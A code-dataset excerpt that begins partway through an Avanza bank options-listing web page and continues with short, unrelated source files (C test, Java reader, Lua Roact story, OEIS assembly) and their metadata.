<a href="/handla/optioner.html/kop/1219801/omxs301e28y2120"
title="Köp optioner i OMXS301E28Y2120"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219801/omxs301e28y2120"
title="Sälj optioner i OMXS301E28Y2120"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219801/omxs301e28y2120" class="link" title="OMXS301E28Y2120">
OMXS301E28Y2120</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 120,00</td>
<td class="overview noSort">2,98</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219801" data-instrument_id="1222691"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219800"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219800/omxs301e28y2125"
title="Köp optioner i OMXS301E28Y2125"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219800/omxs301e28y2125"
title="Sälj optioner i OMXS301E28Y2125"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219800/omxs301e28y2125" class="link" title="OMXS301E28Y2125">
OMXS301E28Y2125</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 125,00</td>
<td class="overview noSort">3,08</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219800" data-instrument_id="1222690"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219799"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219799/omxs301e28y2130"
title="Köp optioner i OMXS301E28Y2130"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219799/omxs301e28y2130"
title="Sälj optioner i OMXS301E28Y2130"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219799/omxs301e28y2130" class="link" title="OMXS301E28Y2130">
OMXS301E28Y2130</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 130,00</td>
<td class="overview noSort">3,19</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219799" data-instrument_id="1222689"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219798"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219798/omxs301e28y2135"
title="Köp optioner i OMXS301E28Y2135"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219798/omxs301e28y2135"
title="Sälj optioner i OMXS301E28Y2135"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219798/omxs301e28y2135" class="link" title="OMXS301E28Y2135">
OMXS301E28Y2135</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 135,00</td>
<td class="overview noSort">3,31</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219798" data-instrument_id="1222688"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219797"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219797/omxs301e28y2140"
title="Köp optioner i OMXS301E28Y2140"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219797/omxs301e28y2140"
title="Sälj optioner i OMXS301E28Y2140"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219797/omxs301e28y2140" class="link" title="OMXS301E28Y2140">
OMXS301E28Y2140</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 140,00</td>
<td class="overview noSort">3,43</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219797" data-instrument_id="1222687"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219796"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219796/omxs301e28y2145"
title="Köp optioner i OMXS301E28Y2145"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219796/omxs301e28y2145"
title="Sälj optioner i OMXS301E28Y2145"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219796/omxs301e28y2145" class="link" title="OMXS301E28Y2145">
OMXS301E28Y2145</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 145,00</td>
<td class="overview noSort">3,57</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219796" data-instrument_id="1222686"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219795"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219795/omxs301e28y2150"
title="Köp optioner i OMXS301E28Y2150"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219795/omxs301e28y2150"
title="Sälj optioner i OMXS301E28Y2150"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219795/omxs301e28y2150" class="link" title="OMXS301E28Y2150">
OMXS301E28Y2150</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 150,00</td>
<td class="overview noSort">3,70</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219795" data-instrument_id="1222685"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219791"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219791/omxs301e28y2155"
title="Köp optioner i OMXS301E28Y2155"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219791/omxs301e28y2155"
title="Sälj optioner i OMXS301E28Y2155"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219791/omxs301e28y2155" class="link" title="OMXS301E28Y2155">
OMXS301E28Y2155</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 155,00</td>
<td class="overview noSort">3,86</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219791" data-instrument_id="1222681"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219780"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219780/omxs301e28y2160"
title="Köp optioner i OMXS301E28Y2160"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219780/omxs301e28y2160"
title="Sälj optioner i OMXS301E28Y2160"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219780/omxs301e28y2160" class="link" title="OMXS301E28Y2160">
OMXS301E28Y2160</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 160,00</td>
<td class="overview noSort">4,03</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219780" data-instrument_id="1222670"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
</tbody>
</table>
<div class="tCenter pager marginTop14px">
<a href="?" class="marginRight5px normal underline normalBlack hideVisibility" data-requestedPage="1">Första</a>
<a href="?" class="hideVisibility marginRight5px prevPage buttonPaneOuterLink" data-ctype="nav.prev" data-requestedPage="0">
</a>
<ul class="cleanList floatList clearFix buttonPane">
<li class=" active">
<span class="active bold">1</span>
</li>
<li class=" ">
<a href="?" data-ctype="nav.page" data-requestedPage="2">2</a>
</li>
<li class="last ">
<a href="?" data-ctype="nav.page" data-requestedPage="3">3</a>
</li>
</ul>
<a href="?" class=" nextPage marginLeft5px buttonPaneOuterLink" data-ctype="nav.next" data-requestedPage="2">
</a>
<a href="?" class="normal marginLeft5px underline normalBlack " data-requestedPage="3">
Sista
</a>
</div>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
<br />
</div>
<div class="collist section">
<div class="row ">
<div class="column grid_7 ">
<div class="parsys col0">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="footer">
<footer id="footer">
<div class="parsys fotcont"><div class="section cq-bgImageWrapper">
<div class="contentBoxGrey row noMargin noPadding right top relative bgImage" style=" background-color: #ffffff;">
<div class="sWidth">
<div class="parsys content"><div class="section text"><span class="runningText"><div><span class="XSText">Historisk avkastning är ingen garanti för framtida avkastning. En investering i värdepapper/fonder kan både öka och minska i värde och det är inte säkert att du får tillbaka det investerade kapitalet.</span></div>
</span></div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
</div>
</div>
</div></div>
<div class="section cq-bgImageWrapper">
<div class="contentBoxGrey row noMargin white whiteLinks relative bgImage" style=" background-color: #333333; border: 1px solid #333333; border-top: 2px solid #333333; border-bottom: 2px solid #333333;">
<div class="sWidth">
<div class="parsys content"><div class="avdelare section">
<div class="divider space-10"></div>
</div>
<div class="collist section">
<div class="row ">
<div class="column grid_2 ">
<div class="parsys col0"><div class="img section">
<style>
@media (max-width: 768px) {
.rl .img .img-3cf2a629-5368-46e0-8a38-0c7aefac853b-auto {
min-width: autopx;
max-width: autopx;
height: 0px;
}
}
@media (min-width: 769px) {
.rl .img .img-3cf2a629-5368-46e0-8a38-0c7aefac853b-auto {
min-width: autopx;
max-width: autopx;
height: 0px;
}
}
</style>
</div>
<div class="img section">
<style>
@media (max-width: 768px) {
.rl .img .img-fdd0226f-866b-4d6d-9c7f-fb638ab94190-auto {
min-width: autopx;
max-width: autopx;
height: 0px;
}
}
@media (min-width: 769px) {
.rl .img .img-fdd0226f-866b-4d6d-9c7f-fb638ab94190-auto {
min-width: autopx;
max-width: autopx;
height: 0px;
}
}
</style>
</div>
<div class="bild section">
<img src="/avanzabank/startsida/footer/kundservice-ic.svg" width="20" height="20"/>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="heading section">
<h3 style='color:#ffffff;' class=" small tLeft ">
<div id="vill-du-ha-hjalp" class="">
Vill du ha hjälp?
</div>
</h3>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="section text"><span class="runningText"><span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="/kundservice.html">Frågor & Svar</a><br>
<a style="font-weight: normal;" adhocenable="false" href="/kundservice.html">Kontakta oss</a></span></span></div>
<div class="avdelare section">
<div style="margin-top: 30px;"></div>
</div>
</div>
</div>
<div class="column grid_2point5 ">
<div class="parsys col1"><div class="bild section">
<img src="/avanzabank/startsida/footer/bloggar-ic.svg" width="20" height="20"/>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="heading section">
<h3 style='color:#ffffff;' class=" small noMarginTop tLeft ">
<div id="blogg---podd" class="">
Blogg & podd
</div>
</h3>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="section text"><span class="runningText"><span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://blogg.avanza.se/" target="_blank">Aktuellt från Avanza</a><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="/lar-dig-mer/avanzapodden.html">Avanzapodden<br>
<span class="runningText"></span></a><a style="font-weight: normal;" adhocenable="false" href="/lar-dig-mer/avanza-play.html">Avanza Play</a></span></span></span></div>
<div class="avdelare section">
<div style="margin-top: 30px;"></div>
</div>
</div>
</div>
<div class="column grid_2point5 ">
<div class="parsys col2"><div class="bild section">
<img src="/avanzabank/startsida/footer/socialamedier-ic.svg" width="21" height="21"/>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="heading section">
<h3 style='color:#ffffff;' class=" noMarginTop tLeft ">
<div id="sociala-medier" class="">
Sociala medier
</div>
</h3>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="section text"><span class="runningText"><span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://www.facebook.com/AvanzaBank/">Facebook</a><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://twitter.com/AvanzaBank">Twitter</a><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://www.youtube.com/user/Avanzabank">Youtube</a><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://se.linkedin.com/company/avanza-bank">Linkedin</a><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://www.instagram.com/avanzabank/">Instagram</a></span></span></span></span></span></span></div>
<div class="avdelare section">
<div style="margin-top: 30px;"></div>
</div>
</div>
</div>
<div class="column grid_2point5 ">
<div class="parsys col3"><div class="bild section">
<img src="/avanzabank/startsida/footer/avanza-ic.svg" width="18" height="21"/>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="heading section">
<h3 style='color:#ffffff;' class=" noMarginTop tLeft ">
<div id="avanza" class="">
Avanza
</div>
</h3>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="section text"><span class="runningText"><span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="http://investors.avanza.se/sv" target="_blank">Om Avanza</a></span><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="http://investors.avanza.se/sv/ir" target="_blank">Investor Relations</a></span><br>
<span class="runningText"><a style="font-weight: normal;" adhocenable="false" href="https://avanza.teamtailor.com/" target="_blank">Karriär</a><br>
</span></span></div>
<div class="avdelare section">
<div style="margin-top: 30px;"></div>
</div>
</div>
</div>
<div class="column grid_2point5 ">
<div class="parsys col4"><div class="bild section">
<img src="/avanzabank/startsida/footer/ic_people.png" width="22" height="18"/>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="heading section">
<h3 style='color:#ffffff;' class=" noMarginTop tLeft ">
<div id="for-foretag" class="">
För företag
</div>
</h3>
</div>
<div class="avdelare section">
<div style="margin-top: 10px;"></div>
</div>
<div class="section text"><span class="runningText"><a class="whiteLink" href="https://www.avanza.se/foretagswebb/inloggning" target="_blank" adhocenable="false">Företagswebben</a></span></div>
<div class="avdelare section">
<div style="margin-top: 30px;"></div>
</div>
</div>
</div>
</div>
</div>
<div class="avdelare section">
<div class="divider thin"></div>
</div>
<div class="section text"><span class="runningText"><div style="text-align: center;"><span class="XSText"><a style="font-weight: normal;" adhocenable="false" href="/sakerhet-villkor/anvandarvillkor.html">Användarvillkor</a> <a style="font-weight: normal;" adhocenable="false" href="/sakerhet-villkor/sakerhet.html">Säkerhet</a> <a style="font-weight: normal;" adhocenable="false" href="/kundservice/kundservice/fragor-svar/konto-avtal/klagomal.html">Reklamationer & Klagomål</a> <a style="font-weight: normal;" href="/sakerhet-villkor/din-integritet.html" adhocenable="false">Behandling av personuppgifter</a> <a style="font-weight: normal;" href="/sakerhet-villkor/cookies.html" adhocenable="false">Cookies</a></span></div>
</span></div>
<div class="avdelare section">
<div style="margin-top: 5px;"></div>
</div>
</div>
</div>
</div></div>
</div>
</footer></div>
<div id="dialog_feedback" class="hide">
<h2>Tyck till</h2>
<p class="feedbackText"></p>
<a href="#" target="_blank" class="button focusBtn feedbackLink">Gå till Labs</a>
</div>
<script>
var isLoggedInHumanyPlugin = {
init: function(data, context) {
return new Promise(function(resolve) {
var isLoggedIn = false;
var serviceClient = context.container.get("serviceClient");
serviceClient.parameters.set("isLoggedIn", isLoggedIn === true ? "Ja" : "Nej");
resolve();
});
}
};
setTimeout(function(){
(function(n,t,i,r,u,f,e){for(var o,s=/[?&]{1}(humany[^=]*)=([^&#]*)/g;o=s.exec(n.location.search);)i+=(i.indexOf("?")>-1?"&":"?")+o[1]+"="+o[2];
f=t.createElement(u);f.async=!0;f.src=i;e=t.getElementsByTagName(u)[0];e.parentNode.insertBefore(f,e);n[r]=n[r]||{_c:[],configure:function(t){n[r]._c.push(t)}}})
(window,document,"//avanza.humany.net/default/embed.js","Humany","script");
Humany.configure(function(config) {
config.registerPlugin(isLoggedInHumanyPlugin);
});
}, 500);
</script>
<a style="display: none;" href="//avanza.humany.net/aza-floating-widget"></a>
</body>
</html> | 31.811471 | 846 | 0.484221 |
3e5c28e00179d74c0541554ca98cb1c19a3650fc | 60 | c | C | test/clang/return2.c | prosyslab/sparrow | a525084b22ae45b63f1a1d6b451924e34d34213b | [
"BSD-3-Clause"
] | null | null | null | test/clang/return2.c | prosyslab/sparrow | a525084b22ae45b63f1a1d6b451924e34d34213b | [
"BSD-3-Clause"
] | 8 | 2020-03-19T10:21:01.000Z | 2020-08-20T14:02:06.000Z | test/clang/return2.c | prosyslab/sparrow | a525084b22ae45b63f1a1d6b451924e34d34213b | [
"BSD-3-Clause"
] | 2 | 2020-03-11T10:07:41.000Z | 2020-04-23T02:06:00.000Z | void fn() { return 0; }
int main() {
fn();
return 0;
}
| 8.571429 | 23 | 0.483333 |
8617633e12d635029d6bc16adb1c219dd7bad0a3 | 968 | java | Java | src/main/java/doiframework/core/resource/commands/read/ReadToFile.java | Mathiasn21/Data_Object_Instantiation_project | 3c03d8df4ce77b69519c7d7fa6cb08dd5e17dbe7 | [
"Apache-2.0"
] | null | null | null | src/main/java/doiframework/core/resource/commands/read/ReadToFile.java | Mathiasn21/Data_Object_Instantiation_project | 3c03d8df4ce77b69519c7d7fa6cb08dd5e17dbe7 | [
"Apache-2.0"
] | null | null | null | src/main/java/doiframework/core/resource/commands/read/ReadToFile.java | Mathiasn21/Data_Object_Instantiation_project | 3c03d8df4ce77b69519c7d7fa6cb08dd5e17dbe7 | [
"Apache-2.0"
] | null | null | null | package doiframework.core.resource.commands.read;
import org.jetbrains.annotations.Contract;
import org.jetbrains.annotations.NotNull;
import java.io.*;
import java.nio.charset.StandardCharsets;
/**
* @author Mathias Walter Nilsen Github: Mathiasn21 @ https://github.com/Mathiasn21
* @version 2.0.0
*/
public final class ReadToFile implements IReadFileCommand {
private final String path;
public ReadToFile(@NotNull String path) { this.path = path; }
public ReadToFile(@NotNull File path) { this.path = path.getPath(); }
/**
* @return {@link BufferedReader}
* @throws FileNotFoundException FileNotFoundException
*/
@NotNull
@Contract(" -> new")
@Override
public final BufferedReader execute() throws FileNotFoundException {
return new BufferedReader(new InputStreamReader(new FileInputStream(path), StandardCharsets.UTF_8));
}
@Override
public final String getSourceName() { return path; }
}
| 29.333333 | 108 | 0.722107 |
830805558fd65587a330001d5c42640777fbb465 | 2,231 | lua | Lua | InGameAvatarEditor/src/ServerScriptService/AvatarEditorInGameSetup/AvatarEditorInGame/Modules/Packages/infinite-scroller/Storybook/chat.story.lua | MirayXS/avatar | 7c78513fbe9587915700a0a5fd3c15d5f23596d2 | [
"RSA-MD"
] | 41 | 2021-04-30T18:27:45.000Z | 2022-03-23T21:12:57.000Z | InGameAvatarEditor/src/ServerScriptService/AvatarEditorInGameSetup/AvatarEditorInGame/Modules/Packages/infinite-scroller/Storybook/chat.story.lua | MirayXS/avatar | 7c78513fbe9587915700a0a5fd3c15d5f23596d2 | [
"RSA-MD"
] | 3 | 2021-08-24T20:07:47.000Z | 2022-02-15T19:40:13.000Z | InGameAvatarEditor/src/ServerScriptService/AvatarEditorInGameSetup/AvatarEditorInGame/Modules/Packages/infinite-scroller/Storybook/chat.story.lua | MirayXS/avatar | 7c78513fbe9587915700a0a5fd3c15d5f23596d2 | [
"RSA-MD"
] | 25 | 2021-05-02T14:33:04.000Z | 2022-03-17T20:28:07.000Z | local HttpService = game:GetService("HttpService")
local InfiniteScroller = script:FindFirstAncestor("infinite-scroller")
local Root = InfiniteScroller.Parent
local Roact = require(Root.Roact)
local Cryo = require(Root.Cryo)
local Scroller = require(InfiniteScroller).Scroller
local Thing = require(script.Parent.ResizingThing)
local Box = function(props)
return Roact.createElement("TextLabel", {
Size = UDim2.new(1, 0, 0, 40),
Text = props.text,
})
end
local Story = Roact.PureComponent:extend("Story")
function Story:init()
self.state = {
items = {},
lock = 0,
index = 1,
size = Vector2.new(400, -100),
}
end
function Story:render()
return Roact.createFragment({
scroller = Roact.createElement(Scroller, {
BackgroundColor3 = Color3.fromRGB(56, 19, 18),
Size = UDim2.new(0, self.state.size.X, 1, self.state.size.Y),
Position = UDim2.new(0, 50, 0, 50),
ScrollBarThickness = 8,
padding = UDim.new(0, 5),
orientation = Scroller.Orientation.Down,
itemList = self.state.items,
focusLock = self.state.lock,
focusIndex = self.state.index,
anchorLocation = UDim.new(0, 0),
estimatedItemSize = 40,
dragBuffer = 0,
extraProps = self.state.items,
identifier = function(item)
return item.guid
end,
renderItem = function(item, _)
return Roact.createElement(Box, item)
end,
onScrollUpdate = function(data)
self.indexData = data
end
}),
textbox = Roact.createElement("TextBox", {
Size = UDim2.new(0, 100, 0, 50),
Position = UDim2.new(1, -100, 0, 0),
[Roact.Event.FocusLost] = function(rbx, entered)
if entered and rbx.Text ~= "" then
local newItem = {
text = rbx.Text,
guid = HttpService:GenerateGUID(false),
}
local newState
if self.state.items then
newState = { items = Cryo.List.join(self.state.items, { newItem })}
if self.indexData and self.indexData.anchorIndex == #self.state.items then
newState.lock = self.state.lock + 1
newState.index = #newState.items
end
else
newState = {
items = { newItem },
index = 1,
lock = 1,
}
end
rbx.Text = ""
self:setState(newState)
end
end
}),
})
end
return Story | 25.067416 | 80 | 0.653967 |
8fac6bc5965edc9f4f85913fa6bed2b2f846e19e | 192 | asm | Assembly | programs/oeis/010/A010937.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/010/A010937.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/010/A010937.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A010937: Binomial coefficient C(21,n).
; 1,21,210,1330,5985,20349,54264,116280,203490,293930,352716,352716,293930,203490,116280,54264,20349,5985,1330,210,21,1
mov $1,21
bin $1,$0
mov $0,$1
| 27.428571 | 119 | 0.739583 |
c5a32a46147462e5a8abfb24d3bd35d1d01122bd | 587 | asm | Assembly | programs/oeis/141/A141454.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/141/A141454.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/141/A141454.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A141454: A Legendre symbol type assignment of the modulo ten primes to the polynomial: Expand[(x-1)*(x+1)*(x-2)*(x+2)*(x-0)]=4 x - 5 x^3 + x^5; c(n) = If[Mod[n, 10] == 1, 1, If[Mod[n, 10] == 9, -1, If[Mod[n, 10] == 3, 2, If[Mod[n, 10] == 7, -2, 0]]]] such that n is a prime[n].
; 0,2,0,-2,1,2,-2,-1,2,-1,1,-2,1,2,-2,2,-1,1,-2,1,2,-1,2,-1,-2,1,2,-2,-1,2,-2,1,-2,-1,-1,1,-2,2,-2,2,-1,1,1,2,-2,-1,1,2,-2,-1,2,-1,1,1,-2,2,-1,1,-2,1,2,2,-2,1,2,-2,1,-2,-2,-1,2,-1,-2,2,-1,2,-1,-2,1,-1,-1,1,1,2,-1,2,-1,-2,1,2,-2,-1,-2,1,-1,2,-1,1,2,1
seq $0,277097 ; a(n) = 5 - (prime(n) mod 10).
mod $0,-3
| 97.833333 | 279 | 0.483816 |
4b50d11e7182f44f6319bb4b08c2c6df83c93d13 | 26,490 | html | HTML | _site/Apocalyst-Writeup-HackTheBox/index.html | th4nuno/th4nuno.github.io | 8118146761b19932a12e09811835d555c3e22b06 | [
"MIT"
] | null | null | null | _site/Apocalyst-Writeup-HackTheBox/index.html | th4nuno/th4nuno.github.io | 8118146761b19932a12e09811835d555c3e22b06 | [
"MIT"
